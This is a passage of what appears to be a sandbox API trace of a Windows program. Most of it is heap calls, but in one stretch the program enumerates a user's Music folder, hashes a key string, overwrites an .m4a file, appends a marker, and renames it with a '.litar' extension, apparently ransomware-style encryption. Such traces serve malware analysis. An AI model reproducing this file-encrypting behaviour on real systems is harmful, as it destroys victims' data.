Flags=0x0, Size=0x70) returned 0x30843f0 [0126.044] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.044] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.045] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.046] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\") returned="tvalSG6kWCd\\" [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0126.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.046] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.046] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.046] PathFindFileNameW (pszPath="") returned="" [0126.046] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67abc50, ftCreationTime.dwHighDateTime=0x1d4d063, ftLastAccessTime.dwLowDateTime=0x4c26d800, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x4c26d800, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.046] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67abc50, ftCreationTime.dwHighDateTime=0x1d4d063, ftLastAccessTime.dwLowDateTime=0x4c26d800, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x4c26d800, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.046] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7a56490, ftCreationTime.dwHighDateTime=0x1d4c95b, ftLastAccessTime.dwLowDateTime=0xddfb6410, ftLastAccessTime.dwHighDateTime=0x1d4d402, ftLastWriteTime.dwLowDateTime=0xddfb6410, ftLastWriteTime.dwHighDateTime=0x1d4d402, nFileSizeHigh=0x0, nFileSizeLow=0x17f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LJP4K.m4a", cAlternateFileName="")) returned 1 [0126.047] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\LJP4K.m4a") returned=".m4a" [0126.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\LJP4K.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ljp4k.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.047] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=6135) returned 1 [0126.048] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.049] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.049] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.051] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x17f7, lpOverlapped=0x0) returned 1 [0126.051] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.051] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.051] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.051] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.052] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.052] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.052] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.052] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.052] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.052] GetLastError () returned 0x0 [0126.052] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.052] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.052] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1800) returned 0x30fa0b0 [0126.052] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.052] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.052] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x17f2, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x17f2, lpOverlapped=0x0) returned 1 [0126.053] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.053] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.053] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0126.053] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0126.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.053] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0126.053] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.053] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0126.053] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.053] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0126.053] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.053] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.053] CloseHandle (hObject=0x624) returned 1 [0126.054] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.054] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0126.054] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.054] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\LJP4K.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ljp4k.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\LJP4K.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tvalsg6kwcd\\ljp4k.m4a.litar")) returned 1 [0126.054] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.054] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.055] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.055] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e8d3470, ftCreationTime.dwHighDateTime=0x1d4d2fe, ftLastAccessTime.dwLowDateTime=0x2d8f1580, ftLastAccessTime.dwHighDateTime=0x1d4d1d8, ftLastWriteTime.dwLowDateTime=0x2d8f1580, ftLastWriteTime.dwHighDateTime=0x1d4d1d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oJv-O", cAlternateFileName="")) returned 1 [0126.055] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084468 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084198 | out: hHeap=0x5c0000) returned 1 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.056] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e8d3470, ftCreationTime.dwHighDateTime=0x1d4d2fe, ftLastAccessTime.dwLowDateTime=0x2d8f1580, ftLastAccessTime.dwHighDateTime=0x1d4d1d8, ftLastWriteTime.dwLowDateTime=0x2d8f1580, ftLastWriteTime.dwHighDateTime=0x1d4d1d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oJv-O", cAlternateFileName="")) returned 0 [0126.056] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0126.056] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0126.056] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.056] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.057] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.057] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.058] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.058] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.058] RtlAllocateHeap 